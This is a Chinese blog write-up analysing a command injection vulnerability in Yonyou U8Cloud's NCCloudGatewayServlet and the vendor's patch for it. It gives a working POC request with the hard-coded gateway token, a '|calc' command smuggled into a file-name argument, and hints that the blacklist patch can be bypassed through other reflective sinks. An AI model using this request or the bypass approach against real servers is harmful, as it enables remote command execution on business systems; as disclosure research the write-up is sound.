用友 U8Cloud NCCloudGatewayServlet 命令注入漏洞
也是挺久之前复现的了 , 当时好像是官方先发了通告 , 然后 CT 当天晚上复现的 , 发了公众号 .
漏洞挺简单的 , 当时晚上看了一眼补丁就知道怎么回事了 . 第二天早上写的 POC , 然后在公司发了次公众号 , 也算是没白来实习一趟
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| POST /servlet/NCCloudGatewayServlet HTTP/1.1 Host: gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3 Content-Type: application/json
{ "serviceInfo": { "serviceClassName": "com.ufida.zior.console.IActionInvokeService", "serviceMethodName": "exec", "serviceMethodArgInfo": [ { "argType": { "body": "java.lang.String" }, "argValue": { "body": "nc.bs.pub.util.ProcessFileUtils" }, "agg": false, "isArray": false, "isPrimitive": false }, { "argType": { "body": "java.lang.String" }, "argValue": { "body": "openFile" }, "agg": false, "isArray": false, "isPrimitive": false }, { "argType": { "body": "java.lang.Object" }, "argValue": { "body": "poc.txt \"|calc\"" }, "agg": false, "isArray": false, "isPrimitive": false } ] } }
|
漏洞分析
入口点位于 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#doAction

token 鉴权分析
跟进 com.yonyou.nccloud.gateway.adapter.GateWayUtil#checkGateWayToken

从配置中读取 nccloud.gateway.nctoken 再解密就是 token , 全局搜索 nccloud.gateway.nctoken :

定位解密函数 nc.vo.framework.rsa.Encode#decode , 解密结果为 TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
命令注入分析
跟进 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#callNCService

经过一系列判断之后到达 :

根据补丁我们可以知道使用的服务类是 com.ufida.zior.console.ActionInvokeService :

它的 exec 方法可以反射调用 public 类的 public 的方法 ( 还有一些限制后面会说 ) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package com.ufida.zior.console;
import java.lang.reflect.Method; import java.util.Map; import java.util.concurrent.ConcurrentHashMap;
final class ActionExecutor { private static final Map<String, Method> map_method = new ConcurrentHashMap();
static Object exec(String actionName, String methodName, Object paramter) throws Exception { if (actionName != null && methodName != null) { Object action = Class.forName(actionName).newInstance(); String key = actionName + ":" + methodName; Method m = (Method)map_method.get(key); if (m == null) { Class<? extends Object> actionclz = action.getClass();
try { m = actionclz.getMethod(methodName, Object.class); } catch (NoSuchMethodException var13) { Method[] mthds = actionclz.getMethods();
for(Method mthd : mthds) { if (methodName.equals(mthd.getName())) { m = mthd; break; } } }
if (m != null) { map_method.put(key, m); } }
if (m == null) { throw new IllegalArgumentException("Mthod " + methodName + " not exists."); } else { Object result = null; Class<? extends Object>[] types = m.getParameterTypes(); if (types != null && types.length >= 1) { if (types.length == 1) { if (paramter != null && paramter.getClass().isArray()) { result = m.invoke(action, paramter); } else { result = m.invoke(action, paramter); } } else { result = m.invoke(action, paramter); } } else { result = m.invoke(action); }
return result; } } else { throw new IllegalArgumentException(); } } }
|
根据补丁我们也能定位到 sink 点为 nc.bs.pub.util.ProcessFileUtils#openFile(java.lang.String)

这里存在命令注入漏洞
补丁分析
首先下载官方补丁 :
https://security.yonyou.com/#/patchInfo?identifier=9695976d67dd4786badf91df6cb6578c
补丁是对类进行了替换 :
1 2 3 4
| <?xml version="1.0" encoding="UTF-8"?> <installpatch> <copy><from>/replacement/modules/</from><to>/modules/</to></copy> </installpatch>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| │ installpatch.xml │ packmetadata.xml │ readme.txt │ └─replacement └─modules └─uapbd ├─classes │ └─com │ └─yonyou │ └─nccloud │ └─gateway │ └─adapter │ │ GateWayUtil.class │ │ │ └─util │ GWWhiteCtrlUtil.class │ └─META-INF └─classes └─com └─yonyou └─nccloud └─gateway └─adaptor └─servlet ServletForGW.class
|
ServletForGW
doAction
第一处是 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#doAction 中增强了 token 验证逻辑 :

修复前 :
1
| GateWayUtil.checkGateWayToken(request.getHeader("gatewaytoken"));
|
修复后 :
1
| GateWayUtil.checkGateWayTokenNew((String)request.getHeader("ts"), (String)request.getHeader("sign"));
|
使用了新的方法进行校验 , 具体实现后面讲
callNCService
第二处是 com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW#callNCService :
在反射调用指定服务类的方法时会检查 serviceClassName 以及 argValues , 具体实现在下面讲

GateWayUtil
checkGateWayTokenNew
第一处是新增了 checkGateWayTokenNew 方法 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static void checkGateWayTokenNew(String ts, String sign) throws Exception { if (StringUtils.isEmpty((String)ts) || StringUtils.isEmpty((String)sign)) { throw new Exception("\u60a8\u6ca1\u6709\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u6743\u9650\uff0c\u8bf7\u91cd\u542f\u7f51\u5173"); } long tsLong = 0L; try { tsLong = Long.parseLong(ts); } catch (Exception ex) { throw new Exception("\u60a8\u6ca1\u6709\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u6743\u9650\uff0cts\u53c2\u6570\u5f02\u5e38"); } if (Math.abs(System.currentTimeMillis() - tsLong) > 180000L) { throw new Exception("\u60a8\u6ca1\u6709\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u6743\u9650\uff0c\u53c2\u6570\u5df2\u8fc7\u671f"); } if (!StringUtils.equals((String)sign, (String)GateWayUtil.sign(ts))) { throw new Exception("\u60a8\u6ca1\u6709\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u6743\u9650\uff0csign\u9a8c\u7b7e\u5931\u8d25"); } }
|
增加了时间戳验证 , 防重放攻击 , 但是实际上没有用 , 因为最终使用的还是配置里的默认密钥
( 这里要跟进 sign 方法才能看到 , 我忘记贴了 )
GWWhiteCtrlUtil
checkAuthority
第二处是 GWWhiteCtrlUtil 的 checkAuthority 方法 , 这是个新增的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package com.yonyou.nccloud.gateway.adapter.util;
import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import nc.bs.framework.common.RuntimeEnv; import nc.bs.logging.Logger; import nc.vo.bd.pub.BDCacheMiscUtil; import nc.vo.pub.BusinessException;
public class GWWhiteCtrlUtil { private String SQLVIEW = "SQLVIEW"; private String ITFMAP = "ITFMAP"; private Map<String, Object> cache; private static final String[] BannedSqlWord = new String[]{"drop", "delete", "update", "insert", "exec", "execute", "create", "alter"}; private static Map<String, GWWhiteCtrlUtil> dsName_instance_map = new ConcurrentHashMap<String, GWWhiteCtrlUtil>();
public static GWWhiteCtrlUtil getInstance() { String dsName = BDCacheMiscUtil.getCurrentDatasourceName(); GWWhiteCtrlUtil instance = dsName_instance_map.get(dsName); Map<String, GWWhiteCtrlUtil> map = dsName_instance_map; synchronized (map) { instance = dsName_instance_map.get(dsName); if (instance == null) { if (!RuntimeEnv.getInstance().isRunningInServer()) { dsName_instance_map.clear(); } instance = new GWWhiteCtrlUtil(); dsName_instance_map.put(dsName, instance); } } return instance; }
public void checkAuthority(String serviceClassName, Object[] argValues) throws BusinessException { this.checkSQLQuery(serviceClassName, argValues); this.checkITFAuthority(serviceClassName, argValues); }
public void checkSQLQuery(String serviceClassName, Object[] argValues) throws BusinessException { }
public void checkITFAuthority(String serviceClassName, Object[] argValues) throws BusinessException { this.checkBlackITFAuthority(serviceClassName, argValues); }
public void checkBlackITFAuthority(String serviceClassName, Object[] argValues) throws BusinessException { if ("com.ufida.zior.console.IActionInvokeService".equalsIgnoreCase(serviceClassName) && "nc.bs.pub.util.ProcessFileUtils".equalsIgnoreCase(String.valueOf(argValues[0]))) { Logger.error((Object)"\u76ee\u524d\u6ca1\u6709\u67e5\u3010nc.bs.pub.util.ProcessFileUtils\u3011\u63a5\u53e3\u6743\u9650"); throw new BusinessException("\u76ee\u524d\u6ca1\u67e5\u8be2\u3010nc.bs.pub.util.ProcessFileUtils\u3011\u63a5\u53e3\u6743\u9650"); } if ("nc.itf.uap.IUAPQueryBS".equalsIgnoreCase(serviceClassName)) { String argSql = ((String)argValues[0]).toLowerCase(); String[] stringArray = BannedSqlWord; int n = BannedSqlWord.length; int n2 = 0; while (n2 < n) { String word = stringArray[n2]; if (argSql.contains(word)) { Logger.error((Object)("SQL\u8bed\u53e5\u4e2d\u5b58\u5728\u654f\u611f\u8bcd:" + word)); throw new BusinessException("SQL\u8bed\u53e5\u4e2d\u5b58\u5728\u654f\u611f\u8bcd:" + word); } ++n2; } } } }
|
在 checkBlackITFAuthority 中检测了我们的 serviceClassName 是否为 com.ufida.zior.console.IActionInvokeService , 并且 argValues[0] 是否为 nc.bs.pub.util.ProcessFileUtils
如果满足就会抛出异常
可以看出官方这里修的很随意 , 居然只是使用了简单的黑名单禁用了 ProcessFileUtils 这个类
所以 IActionInvokeService 中的方法调用还是在的 , 只要能再找到一个
调用的类必须有** public 的无参构造方法**
调用的方法是 public 的
调用的方法是无参或单参且为基本类型 , 如果多参数必须是 String/String[]
的危险方法 , 应该就可以利用
笔者后面和朋友一起找到了很多新的 Sink 点 , 可惜提交到了 CNVD 没被收
很久没关注这个产品了 , 不知道官方有没有进一步修复这个漏洞